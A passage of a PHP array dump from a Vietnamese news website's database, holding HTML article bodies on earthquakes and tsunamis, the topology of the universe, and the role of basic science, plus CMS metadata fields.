ngay trên chấn tiêu. Trên hình 1, ta có bản đồ các trận động đất gần đây nhất đã được Cục Khảo sát Địa chất Mỹ (USGS) vẽ ngày 27 tháng 1-2011. Các địa điểm động đất đều nằm trên các đường nứt gãy có liên quan đến các mảng kiến tạo. Ta cũng thấy là USGS có ghi trận động đất xảy ra tháng 11/2007 có cường độ 4,5-5 độ Richter ngoài khơi Vũng Tàu trên đới đứt gãy dọc bờ biển miền Nam Trung Bộ.</div> <div> </div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/tho nhan 1inter.jpg" style="width: 480px; height: 246px;" /><br /> </div> <div> Hình 1 Bản đồ các trận động đất trên thế giới (USGS, IRIS)</div> <div> </div> <div> </div> <div> Các trận động đất thường chỉ kéo dài vài giây đồng hồ nhưng cũng đủ để gây ra những thiệt hại vô cùng lớn. Trận động đất năm 2004 ở Sumatra kéo dài đến 9 phút, trong khi trận động đất vừa qua ở Nhật Bản kéo dài 2 phút.</div> <div> </div> <div> <strong>Sóng thần</strong></div> <div> <br /> Nếu động đất xảy ra trong đất liền thì ít có khả năng có sóng thần đi kèm theo trừ khi các biển nội địa hay các hồ nước lớn bị tác động bởi những dịch chuyển của đất đá dưới mặt nước. Nhưng khi động đất xảy ra ngoài biển và có cường độ hơn 6,5 độ Richter thì có thể sinh ra sóng thần có sức tàn phá rất lớn như chúng ta thấy tại Nhật vừa qua hay ở các nước Nam Á năm 2004. Các đợt sóng thần mang theo lượng năng lượng khổng lồ vì chúng do những khối lượng nước rất lớn tạo ra sau khi có một trận động đất bất thình lình dịch chuyển một diện tích đáy biển hàng nghìn cây số vuông chỉ trong vài giây đồng hồ rồi truyền năng lượng thẳng lên bề mặt.</div> <div> </div> <div> Sóng thần có thể gây ra do lở đất dưới biển hoặc do các trường hợp hiếm gặp hơn như phun trào núi lửa hay phun trào dung nham dưới nước. Nó cũng có thể có nguồn gốc từ một vụ va chạm của một hành tinh nhỏ khi rơi xuống đáy đại dương. Ngày 18/11/1927, một trận động đất M7,2 ở 300 km phía nam Newfoundland (Bắc Canada) đã gây ra một vụ lở đất dưới biển làm dịch chuyển 200 km3 đất và vụ lở đất ở Storegga ngoài khơi Na Uy 79.000 năm trước đây làm cho 1000 km3 trầm tích biển sụp đổ. Ngày 26/12/2004, trận động đất M9 ngoài khơi Sumatra (Indonesia) đã nâng một dải đáy biển dài 1200 km lên cao 8 m, chấn tiêu của nó nằm dưới sâu 30 km.</div> <div> </div> <div> Lực duy trì sóng trong cột nước biển sau khi đáy biển bị nhiễu loạn là lực trọng trường. Sức mạnh của nó tuỳ thuộc vào cường độ của nhiễu loạn ban đầu, khoảng cách di chuyển của sóng, hình thái mặt đáy biển, khả năng các lớp đất đá hấp thụ hết năng lượng cũng như hình dáng bờ biển. Tốc độ di chuyển của sóng có thể lên đến vài trăm cây số một giờ và sóng thần có thể vượt qua hàng nghìn cây số đại dương trong vài tiếng đồng hồ. Bước sóng của nó - khoảng cách giữa hai làn sóng nối tiếp nhau - có thể là vài trăm cây số. Ngoài biển khơi, sóng thần rất khó phát hiện và chiều cao của sóng chỉ là vài chục cm gần nơi xảy ra nhiễu loạn. Các vệ tinh như Topex-Poseidon hay ERS-1 đã có thể đo độ cao sóng biển với độ chính xác vài cm. Tuy nhiên, cũng như các loại sóng khác, khi chúng tiến vào các vùng nước cạn gần bờ, nhiều thay đổi sẽ xảy ra, bước sóng rút xuống còn từ 10 đến 20 km, khi nước có tốc độ cao đến đẩy các luồng sóng đi trước, chiều cao của chúng tăng lên, đôi khi đạt đến vài chục mét và tiến sâu vào đất liền, tàn phá những vùng đất thấp dọc bờ biển. Sóng thần ở Sendai, Nhật Bản hôm 11/3 vừa qua cao đến 10 mét. Năm 1755, tiếp theo một trận động đất M9, đợt sóng thần ở Lisbon (Bồ Đào Nha) có độ cao trên 30 mét và năm 1883, sóng thần do hoạt động núi lửa Krakatoa ở Indonesia gây ra có độ cao lên đến 40 mét. Năm 1737, một trận động đất gần bán đảo Kamchatka gây nên một đợt sóng thần cao 50 mét khi chúng tiến đến đảo Kurile.</div> <div> </div> <div> Những vùng nhạy cảm nhất đối với sóng thần nằm dọc bờ biển Thái Bình Dương, ở đây có đến 85% toàn bộ các đợt sóng thần do động đất gây ra vì đại dương rất rộng và có nhiều hoạt động địa chấn và núi lửa của mảng kiến tạo Thái Bình Dương. Theo ước tính, trong thế kỷ 20 vừa qua có chừng 50.000 người tử vong do khoảng 400 đợt sóng thần gây ra. Bước vào thế kỷ 21, đợt sóng thần Sumatra-Andaman cuối năm 2004 đã làm 230.000 người chết chỉ trong vòng vài tiếng đồng hồ và có đến hàng triệu người bị mất nhà cửa. Bảng 2 liệt kê 10 đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử, các số liệu ở các thế kỷ 18-19 chỉ có một độ chính xác tương đối.</div> <div> </div> <div> <strong>Bảng 2 Những đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử</strong></div> <div> </div> <div> Số nạn nhân Năm Địa điểm</div> <div> 230.000 2004 Sumatra-Andaman (Indonesia)</div> <div> 60.000 1755 Lisbon (Bồ Đào Nha)</div> <div> 40.000 1782 Đài Loan</div> <div> 36.500 1883 Krakatoa (Indonesia)</div> <div> 30.000 1701 Tokaido-Nankaido (Nhật Bản)</div> <div> 26.360 1896 Sanriku (Nhật Bản)</div> <div> 25.674 1868 Bắc Chi Lê</div> <div> 15.030 1792 Kyushu (Nhật Bản)</div> <div> 13.481 1771 Ryukyu (Nhật Bản)</div> <div> 8.000 1976 Vịnh Moro (Philippin)</div> <div> </div> <div> <strong>Dự báo sóng thần và các phương pháp tiếp cận giảm thiểu tác hại</strong></div> <div> <br /> Sóng thần được hiểu rõ hơn động đất nhưng đối với các sóng thần do động đất gây ra, việc dự báo dài hạn cũng rất khó. Mặt khác, nguyên tắc dự báo ngắn hạn thì tương đối đơn giản, ít ra cũng trên mặt lý thuyết: thu thập các thông tin về biến dạng của đáy biển trong các đại dương rồi truyền theo thời gian thật đến các chuyên gia ở các trung tâm chuyên trách để tính cường độ của hiểm hoạ và lấy quyết định sơ tán vùng bị đe doạ. Đối với các sóng thần vượt đại dương, người ta có thể có khoảng thời gian nhiều giờ giữa trận động đất và lúc sóng thần ập đến. Vị trí và quy mô của trận động đất có thể được xác định nhanh chóng và chính xác nhờ các quan trắc địa chấn và sự hình thành cũng như sự lan truyền của sóng thần có thể được xác nhận bởi các hệ thống quan sát mực nước biển ngoài khơi như các cảm biến đo áp suất đặt dưới đáy biển. Khoảng 10 phút giữa chấn động đầu tiên và lúc các luồng sóng gây chết người ập đến cũng đủ để người dân chạy thoát khỏi các vùng nguy hiểm, cứu được hàng trăm nghìn nhân mạng và cả tài sản của họ.<br /> </div> <div> <span style="display: none;"> </span><img alt="" src="/admin/webroot/upload/image/images/Tho Nhan 2inter.jpg" style="width: 480px; height: 308px;" /><span style="display: none;"> </span></div> <div> </div> <div> </div> <div> Hình 2 Bản đồ các trạm DART tại khu vực Thái Bình Dương</div> <div> </div> <div> </div> <div> Một loạt trạm cảnh báo đặt chung quanh Thái Bình Dương để đo bất kỳ một hoạt động bất thường nào của thuỷ triều hay sóng biển tiếp theo một sự kiện địa chấn. Hệ thống Cảnh báo Đánh giá Sóng thần ngoài Biển khơi (DART, Deep Ocean Assessment Reporting of Tsunami) đã được đặt ở Thái Bình Dương, dọc vùng hút chìm Alaska, nơi phát sinh nguy hiểm của các đợt sóng thần trên bờ biển phía Tây nước Mỹ và Hawaii cũng như đối với các nước khác ven bờ Thái Bình Dương. Trên hình 2, ta có hệ thống các trạm DART đã có (6 trạm) và gần 40 trạm đã lên kế hoạch xây dựng tiếp theo thảm hoạ sóng thần Sumatra-Andaman năm 2004. Mỗi trạm gồm một địa chấn kế, máy đo áp lực của sóng trên đáy biển, các cột mộc thuỷ triều và các hệ thống truyền tín hiệu đến các nhà khoa học để đánh giá tính nguy hiểm của chúng. Ở Nhật, cảnh báo sóng thần được truyền đi chỉ từ 2 đến 5 phút sau động đất rồi chuyển đến dân cư vùng biển nhờ các phương tiện truyền thông.</div> <div> </div> <div> Người dân Nhật được giáo dục kỹ về các hiểm họa của sóng thần và cách ứng xử khi nhận được cảnh báo nhờ thế mà số thương vong có thể được giảm đi rất nhiều. Các hướng dẫn về những điều phải làm sau cảnh báo sóng thần đầu tiên do cơ quan khí tượng Nhật Bản phổ biến (xem dưới đây) hay các lộ trình thoát khỏi vùng bờ biển bị sóng thần ập vào ở Mỹ là những biện pháp tích cực nhằm giảm thiểu các tác hại do sóng thần gây ra.</div> <div> </div> <div> <strong>Các hướng dẫn những điều phải làm sau cảnh báo sóng thần đầu tiên</strong></div> <div> </div> <div> 1. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi cảm thấy một chấn động mạnh hay một chấn động yếu, chậm nhưng kéo dài.</div> <div> 2. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi có thông báo sóng thần.</div> <div> 3. Tìm thông tin đúng đắn từ truyền hình, truyền thanh hay internet.</div> <div> 4. Đừng đến bờ biển để tắm hay câu cá khi có khuyến cáo về sóng thần hay khi một cảnh báo về sóng thần đã được phát ra.</div> <div> 5. Đừng mất cảnh giác cho đến khi cảnh báo được bãi bỏ vì sóng thần có thể lặp đi lặp lại.</div> <div> </div> <div> (Cơ quan Khí tượng Nhật Bản)</div> ', 'images' => '20160620083507a5aa65ff774a341ce7bd82defce3cfd6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '70070', 'slug' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '717', 'rght' => '718', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '413', 'name' => 'Topo của vũ trụ', 'code' => null, 'alias' => 'topo-cua-vu-tru', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Vấn đề nghiên cứu topo của vũ trụ đang gây chú ý của nhiều nhà vũ trụ học. Nhiều vũ trụ xét về mặt hình học là một vũ trụ vô hạn (infinite) song nếu chú ý đến topo (tức đến toàn cục) thì lại là một vũ trụ hữu hạn (finite). Nhiều quan sát CMB (Cosmic Microwave Background- Bức xạ Phông Vũ trụ) cũng được chính xác hóa thêm nhờ những chi tiết phát sinh từ những hệ quả topo. Bài viết này nhằm mục đích giới thiệu trong vài nét tổng quát ảnh hưởng của topo đến vũ trụ học.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (5).jpg" style="width: 227px; height: 142px;" /></div> <div> <br /> <strong>Topo (topology) là gì?</strong></div> <div> </div> <div> Topo là môn học nghiên cứu hình dạng của một không gian về các mặt cơ bản nhất đó là tính liên thông (connectedness), tính liên tục (continuity) và các biên (boundary). Những tính này bất biến đối với các phép biến đổi liên tục gồm các biến đổi như kéo dài, uốn cong mà không bao gồm các biến đổi như xé rách (tearing) hoặc dán dính (gluing).</div> <div> </div> <div> Xem hình 1 ta thấy một cái cốc, một hình xuyến và một hình xuyến xoắn là tương đương topo với nhau. <br /> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC1.jpg" /></div> <div> </div> <div> Hình 1. Cái cốc, hình xuyến và hình xuyến xoắn là tương đương topo với nhau.</div> <div> </div> <div> Quả thật như vậy chỉ cần các phép kéo dài và uốn cong ta có thể biến một hình xuyến thành một cái cốc (xem hình 2).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC2.jpg" /></div> <div> </div> <div> Hình 2. Biến một hình xuyến thành cái cốc nhờ các phép biến đổi liên tục topo</div> <div> </div> <div> <strong>Hình học và topo</strong></div> <div> </div> <div> Cần phân biệt hình học (độ cong phẳng, dương hay âm?) và topo (dạng như thế nào, liên thông như thế nào?). Xét về mặt hình học có thể tồn tại 3 loại vũ trụ: vũ trụ phẳng (Euclidean, độ cong bằng không), vũ trụ cầu (đóng, hữu hạn và độ cong dương) và vũ trụ hyperbolic (mở, vô tận và độ cong âm), xem hình 3.</div> <div> </div> <div> Khi nói đến độ cong âm người ta thường nghĩ đến một không gian vô hạn. Song có thể có nhiều độ cong trong một topo, ví dụ một hình xuyến (torus) có độ cong âm ở mặt trong (inside edge) mặc dầu nó là một topo hữu hạn (finite).</div> <div> </div> <div> Thuyết tương đối tổng quát (với các phương trình Einstein vốn là những phương trình vi phân ) chỉ nói lên được tính định xứ (local) mà không thể xác định được tính toàn cục (global) tức topo của vũ trụ. Thuyết tương đối tổng quát không bất biến đối với các biến đổi đồng phôi (homeomorphism-xem chú thích) mà chỉ bất biến đối với các biến đổi vi phôi (diffeomorphism) tức các biến đổi tọa độ.</div> <div> </div> <div> Với một vũ trụ đồng nhất và đẳng hướng ta có lời giải là metric Friedmann-Lemaitre-Robertson-Walker (FLRW):</div> <div> </div> <div> ds2=gµvdxµdxv=-dt2+a2(η)[ dr2 + r2 (dθ2 + sin2θdΦ2)] </div> <div> 1 - kr2</div> <div> </div> <div> trong đó a = thừa số kích thước của vũ trụ, độ cong k =0,+1,-1 tương ứng với độ cong bằng không, độ cong dương và độ cong âm (xem hình vẽ 3).</div> <div> </div> <div> Giữa bán kính độ cong R và mật độ trung bình của vật chất trong vũ trụ có mối quan hệ R = a/|k|1/2 = 1/H|Ω-1|1/2, trong đó H = số Hubble, Ω = ρ/ρc còn ρc là mật độ ứng với vũ trụ phẳng. Ta có các vũ trụ với độ cong bằng không, độ cong dương và độ cong âm tương ứng với các mật độ Ω = 1, >1 và <1.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC3.jpg" /></div> <div> </div> <div> Hình 3 . Từ trái sang phải: độ cong phẳng, độ cong dương và độ cong âm </div> <div> </div> <div> Một yếu tố metric định xứ cho trước có thể tương ứng với một tập lớn mô hình vũ trụ khác nhau về mặt topo.</div> <div> </div> <div> Tồn tại vô số (đếm được) những dạng không gian với độ cong dương, tất cả đều là những không gian đóng và vô số không gian với độ cong âm trong đó một số là không gian đóng (hữu hạn) một số là không gian mở (vô tận). </div> <div> </div> <div> Thuyết tương đối mô tả một hình xuyến và một mặt phẳng với cùng những phương trình như nhau mặc dầu hình xuyến là hữu hạn trong khi mặt phẳng là vô hạn. Để xác định topo của vũ trụ cần những hiểu biết vật lý nằm ngoài lý thuyết tương đối (như CMB - Cosmic Microwave Background - Bức xạ Phông của Vũ trụ).</div> <div> </div> <div> Hãy hình dung một buồng gương, đó là cái phòng với 6 bức tường (gồm cả trần và nền) là gương. Nếu chúng ta vào một phòng như thế với vài ngọn nến thì vì hệ quả phản chiếu trên các tường bằng gương chúng ta có cảm giác lọt vào một không gian vô tận.</div> <div> </div> <div> Giống như trong một buồng gương (xem hình 4) sự vô tận của vũ trụ có thể chỉ là một ảo tưởng. Vũ trụ có thể hữu hạn trong thực tế. Ảo tưởng vô tận phát sinh từ hiện tượng tia sáng thực hiện một quỹ đạo chạy quanh không gian nhiều lần (khi vũ trụ là hữu hạn) và như thế tạo nên hình ảnh đa bội của từng thiên hà. </div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC4.jpg" /></div> <div> </div> <div> Hình 4 . Buồng gương gây hệ quả vô tận của một đối tượng hữu hạn</div> <div> </div> <div> Nếu trong buồng kính ta có 3 quả bóng thì bức tranh tạo nên là hình ảnh của vô số quả bóng như trong hình 5.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC5.jpg" /></div> <div> </div> <div> Hình 5. Ba quả bóng trong buồng kính tạo nên hình ảnh vô số quả bóng</div> <div> </div> <div> Buồng gương là hình tượng của một vũ trụ hữu hạn nhưng cho ảo tưởng vô tận. Lẽ dĩ nhiên vũ trụ không có biên để phản xạ ánh sáng song thay vì bị phản xạ như trong buồng gương thì ánh sáng có thể đi vòng quanh vũ trụ nhiều lần. Từ bức tranh các hình ảnh đa bội lặp lại người ta có thể suy ra kích thước và hình dáng thật sự của vũ trụ, tức xác định topo của vũ trụ.</div> <div> </div> <div> <strong>Tạo một hình </strong></div> <div> </div> <div> Topo có thể giúp ta tạo một hình xuyến (hoặc một dải Moebius) từ một mảnh phẳng của không thời gian bằng cách đồng nhất các đường mép (edge) đối diện của mảnh phẳng này (xem hình 6).</div> <div> </div> <div> Nói chung người ta biểu diễn một hình như phần trong của một đa diện (polyhedron) với các mặt đối nhau được đồng nhất từng đôi một.</div> <div> </div> <div> Trên hình 6 ta thấy nếu dán 2 mép của một hình vuông ta có một hình trụ, nếu dán các mép (tức đồng nhất các mép a với a, b với b) của một hình vuông ta có một hình xuyến, nếu dán các mép của hình bát giác (đồng nhất a với a, b với b, c với c,…) ta có một hình xuyến với 2 lỗ. Ta gọi số lỗ là genus vậy ví dụ hình xuyến 2 lỗ có genus = 2.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%206.jpg" /></div> <div> </div> <div> Hình 6. Tạo hình trụ, các hình xuyến 1 lỗ và 2 lỗ bằng cách dán các mép đối nhau (tức đồng nhất các mép)</div> <div> </div> <div> Chú ý hình xuyến S1x S1 có được nhờ đồng nhất các mép đối diện của một hình vuông là một không gian phẳng trong khi hình xuyến thông thường là không gian không phẳng. Song về mặt topo 2 hình xuyến này là tương đương. </div> <div> </div> <div> Hình trụ, hình xuyến một lỗ, hai lỗ là những không gian topo đa liên thông (multiplyconnected). Trong hình 7 ta có một topo đơn liên thông (cột một) và hai topo đa liên thông (cột 2 và 3).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%207.jpg" /></div> <div> </div> <div> Hình 7. Đây là vài ví dụ của những đa tạp đồng phôi (homeomorphic) , những con số ở hàng dưới là số lỗ trong topo của chúng </div> <div> </div> <div> Phần trong của một đa diện 10 mặt ngũ giác mà từng đôi các mặt ngũ giác được đồng nhất với nhau sẽ là một không gian đóng với độ cong âm (compact hyperbolic space). </div> <div> </div> <div> Vậy vấn đề nghiên cứu topo vũ trụ là nằm trong những câu hỏi sau đây.</div> <div> </div> <div> Vũ trụ đóng hay mở? Vũ trụ có lỗ (hay tay quai-handle) không? Vũ trụ là liên thông hay đa liên thông? Những câu hỏi topo này thường bị bỏ quên bởi những nhà vũ trụ học. Trong một mô hình đầy đủ phải kể đến những câu hỏi topo này. Vũ trụ thực sự là sân khấu của những ảo tưởng quang học khổng lồ phát sinh vì những hiệu ứng thấu kính topo (topological lens).</div> <div> </div> <div> Nghiên cứu vũ trụ ta phải chú ý hai mặt: hình học và topo. Về mặt hình học ta có: không gian Euclide (độ cong bằng không), không gian cầu (độ cong dương) và không gian hyperbolic (độ cong âm). </div> <div> </div> <div> Không gian cầu trong mọi trường hợp là hữu hạn. Đối với hai loại không gian còn lại thì tính hữu hạn hoặc vô tận lại phụ thuộc vào topo. Nếu là topo đơn liên thông (simply-connected) thì chúng vô tận.</div> <div> </div> <div> Song đối với topo đa liên thông (như hình xuyến với một lỗ hay hai lỗ) thì chúng ta có khả năng xét những mô hình vũ trụ trong đó không gian là hữu hạn bất kể độ cong là như thế nào ngay cả lúc mật độ vật chất và hằng số vũ trụ là rất thấp (mà nếu chỉ xét hình học thì ta phải có không gian phẳng hoặc hyperbolic vô tận).</div> <div> </div> <div> Như vậy một không gian với độ cong âm có thể là hữu hạn nếu topo là đa liên thông.</div> <div> </div> <div> <strong>Một vài chi tiết toán học</strong></div> <div> </div> <div> Trong khuôn khổ của vũ trụ học chuẩn thì vũ trụ được mô tả bởi một đa tạp không thời gian M4 = RxM cộng với metric FLRW. Trong đó M = E3 (Euclidean), S3 (cầu) hoặc H3 (không gian hyperbolic có hình một cái yên ngựa). Điều này thường dẫn đến một sự hiểu nhầm: độ cong của M là tất cả điều gì cần thiết để xác định xem không gian 3 chiều là hữu hạn (finite) hay vô hạn (infinite). Bởi vì không gian M có thể chỉ là một trong những đa tạp thương (quotient manifold) khả dĩ. </div> <div> </div> <div> M= Mc / G</div> <div> </div> <div> Trong đó Mc = (E3,S3,H3) là không gian gọi là không gian phủ tổng quát (universal covering). Không gian M là không gian đa liên thông. Phép G cho phép phủ Mc bằng những tế bào gọi là đa diện cơ bản (fundamental polyhedron-FP) và thực hiện những phép tịnh tiến gắn liền với việc đồng nhất các mép (xem hình 8).</div> <div> </div> <div> Ví dụ hình xuyến T2=E2/G trong đó FP=là một hình chữ nhật với các mép đồng nhất như trên hình vẽ số 6.</div> <div> </div> <div> Trong một không gian đa liên thông bất kỳ hai điểm nào cũng có thể được nối liền bởi nhiều hơn một đường trắc địa và hệ quả trong một vũ trụ hữu hạn ánh sáng từ một đối tượng có thể đến với một quan sát viên theo nhiều quỹ đạo khác nhau – và như thế trên bầu trời ta có nhiều hình ảnh của một nguồn bức xạ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%208.jpg" /></div> <div> </div> <div> Hình 8.Cư dân trong FD và trong không gian phủ</div> <div> </div> <div> Ta lát không gian phủ tổng quát (universal covering) với nhiều FD bằng cách đồng nhất các mặt mép.</div> <div> </div> <div> Một cư dân của hình xuyến khi nhìn về phía trước thấy phía sau của mình và nhìn thấy trong không gian phủ tổng quát một mạng các hình ảnh của mình. (xem hình 8).</div> <div> </div> <div> Với những không gian đa liên thông (có một số lỗ ) số lượng N các bản copy của FD trong bức tranh quan sát vũ trụ có thể đánh giá bởi công thức: N=V/VFD. Trong đó V là thể tích của vùng vũ trụ quan sát được còn VFD là thể tích của FD.</div> <div> </div> <div> <strong>Topo và CMB</strong></div> <div> </div> <div> Trong vũ trụ học CMB là bức xạ nhiệt tàn dư từ lúc Big Bang (xem hình 9).</div> <div> </div> <div> CMB có thể giúp chúng ta xác định topo. Một phương pháp để làm việc đó là thực hiện mô hình toán học bằng máy tính của CMB đối với một topo nào đó rồi so sánh với quan trắc vũ trụ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%209.jpg" /></div> <div> </div> <div> Hình 9 . Bản đồ Bức xạ Phông Vũ trụ CMB trên bầu trời</div> <div> </div> <div> Tính đa liên thông được khai thác để tìm ra những bất thường trong phổ năng lượng do hệ quả topo. Một điểm bức xạ theo nhiều hướng khác nhau và ánh sáng sau khi đi vòng quanh vũ trụ nhiều lần sẽ đến người quan sát và cho chúng ta nhiều hình ảnh đa bội của điểm bức xạ.</div> <div> </div> <div> Nhiều khía cạnh của CMB có thể bị thay đổi khi topo vũ trụ là đa liên thông (hữu hạn):</div> <div> </div> <div> (1) Topo đa liên thông phá hủy tính đẳng hướng và tính đồng nhất toàn cục, xuất hiện trên CMB một phân bố bất đẳng hướng và bất đồng nhất ứng với các hình ảnh ảo (ghost) của nhiều điểm,</div> <div> </div> <div> (2) Phổ các loại thăng giáng là gián đoạn, điều này phản ánh một không gian hữu hạn (tương tự như trong Cơ học lượng tử thể tích hữu hạn cho phổ năng lượng gián đoạn),</div> <div> </div> <div> (3) Bức tranh các thăng giáng nhiệt độ phản ánh sự xuất hiện lặp lại của những điểm nóng và lạnh do hệ quả thấu kính topo.</div> <div> </div> <div> <strong>Kết luận</strong></div> <div> </div> <div> Topo vũ trụ là một lĩnh vực quan trọng phối hợp các lý thuyết toán học với những định luật vật lý. Chúng ta có khả năng quan sát được topo vũ trụ một cách gián tiếp nhờ quan sát CMB. Hiểu được topo vũ trụ chúng ta có thể nghiên cứu chính xác hơn ảnh hưởng của năng-lượng vật chất lên không thời gian.Trong vũ trụ học hiện đại các nhà khoa học sử dụng toàn diện vật lý, hình học lẫn topo.</div> <div> </div> <div> Dường như kết hợp lý thuyết và quan trắc các nhà vũ trụ học đối diện với hiện tượng một không gian với độ cong âm (mật độ vật chất thấp) lại có thể là hữu hạn về toàn cục và trong trường hợp đó ta phải có một topo đa liên thông. Thiên nhiên vốn kinh hãi cái vô cùng (Nature abhors an infininity).</div> <div> ----------------</div> <div> Tài liệu tham khảo và chú thích</div> <div> </div> <div> [1] Mark Baltovic, The topology of the Universe </div> <div> </div> <div> [2] M.J.Reboucas, G.I.Gomero, Cosmic topology:A brief Overview, Brazilian Journal of Physics, vol.34, no.4A, December,2004 </div> <div> </div> <div> [3] Jean-Pierre Luminet, Is the Universe crumpled?</div> <div> </div> <div> [4] Janna Levin, Topology and the Cosmic Microwave Background,</div> <div> arXiv:gr-qc/0108043v2 20 Aug2001, Physics Reports 365(2002) 251-333</div> <div> </div> <div> [5] Biến đổi đồng phôi là một biến đổi liên tục không chứa phép cắt và dán.</div> ', 'images' => '201606160312445e740f261196151a0b02c7b2fccf6ae6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75132', 'slug' => 'topo-cua-vu-tru', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '715', 'rght' => '716', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '412', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (4).jpg" style="width: 227px; height: 167px;" /></div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự 